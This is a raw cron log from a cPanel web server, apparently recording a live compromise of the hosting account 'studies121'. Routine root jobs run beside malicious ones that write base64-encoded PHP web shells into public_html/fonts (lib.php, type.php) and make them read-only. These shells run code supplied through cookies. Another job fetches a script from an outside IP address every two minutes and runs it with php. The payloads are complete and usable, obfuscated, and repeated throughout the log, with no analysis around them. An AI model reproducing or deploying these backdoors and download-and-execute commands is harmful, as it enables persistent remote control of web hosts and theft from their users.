Sep  2 16:40:01 ip-184-168-122-23 CROND[14284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:41:01 ip-184-168-122-23 CROND[14384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:41:01 ip-184-168-122-23 CROND[14387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:41:01 ip-184-168-122-23 CROND[14386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:41:01 ip-184-168-122-23 CROND[14388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:42:01 ip-184-168-122-23 CROND[14481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:42:01 ip-184-168-122-23 CROND[14480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:42:01 ip-184-168-122-23 CROND[14484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:42:01 ip-184-168-122-23 CROND[14485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:42:01 ip-184-168-122-23 CROND[14486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:43:01 ip-184-168-122-23 CROND[14663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:43:01 ip-184-168-122-23 CROND[14664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:43:01 ip-184-168-122-23 CROND[14665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:43:01 ip-184-168-122-23 CROND[14666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:44:01 ip-184-168-122-23 CROND[14764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:44:01 ip-184-168-122-23 CROND[14765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:44:01 ip-184-168-122-23 CROND[14767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:44:01 ip-184-168-122-23 CROND[14768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:44:01 ip-184-168-122-23 CROND[14769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:45:01 ip-184-168-122-23 CROND[14897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:45:01 ip-184-168-122-23 CROND[14900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:45:01 ip-184-168-122-23 CROND[14901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:45:02 ip-184-168-122-23 CROND[14905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:45:02 ip-184-168-122-23 CROND[14907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:45:02 ip-184-168-122-23 CROND[14910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:45:02 ip-184-168-122-23 CROND[14911]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  2 16:46:01 ip-184-168-122-23 CROND[15007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:46:01 ip-184-168-122-23 CROND[15012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:46:01 ip-184-168-122-23 CROND[15010]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:46:01 ip-184-168-122-23 CROND[15009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:46:01 ip-184-168-122-23 CROND[15011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:46:01 ip-184-168-122-23 CROND[15014]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 16:46:01 ip-184-168-122-23 CROND[15013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:47:01 ip-184-168-122-23 CROND[15141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:47:01 ip-184-168-122-23 CROND[15143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:47:01 ip-184-168-122-23 CROND[15144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:47:01 ip-184-168-122-23 CROND[15145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:48:01 ip-184-168-122-23 CROND[15224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:48:01 ip-184-168-122-23 CROND[15223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:48:01 ip-184-168-122-23 CROND[15226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:48:01 ip-184-168-122-23 CROND[15228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:48:01 ip-184-168-122-23 CROND[15229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:49:01 ip-184-168-122-23 CROND[15425]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 16:49:01 ip-184-168-122-23 CROND[15426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:49:01 ip-184-168-122-23 CROND[15428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:49:01 ip-184-168-122-23 CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:49:01 ip-184-168-122-23 CROND[15429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:50:01 ip-184-168-122-23 CROND[15534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:50:01 ip-184-168-122-23 CROND[15536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:50:01 ip-184-168-122-23 CROND[15541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:50:01 ip-184-168-122-23 CROND[15538]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:50:01 ip-184-168-122-23 CROND[15542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:50:01 ip-184-168-122-23 CROND[15543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:50:01 ip-184-168-122-23 CROND[15545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:50:01 ip-184-168-122-23 CROND[15547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:50:01 ip-184-168-122-23 CROND[15540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:51:01 ip-184-168-122-23 CROND[15650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:51:01 ip-184-168-122-23 CROND[15653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:51:01 ip-184-168-122-23 CROND[15652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:51:01 ip-184-168-122-23 CROND[15654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:52:01 ip-184-168-122-23 CROND[15746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:52:01 ip-184-168-122-23 CROND[15748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:52:01 ip-184-168-122-23 CROND[15750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:52:01 ip-184-168-122-23 CROND[15749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:52:01 ip-184-168-122-23 CROND[15751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
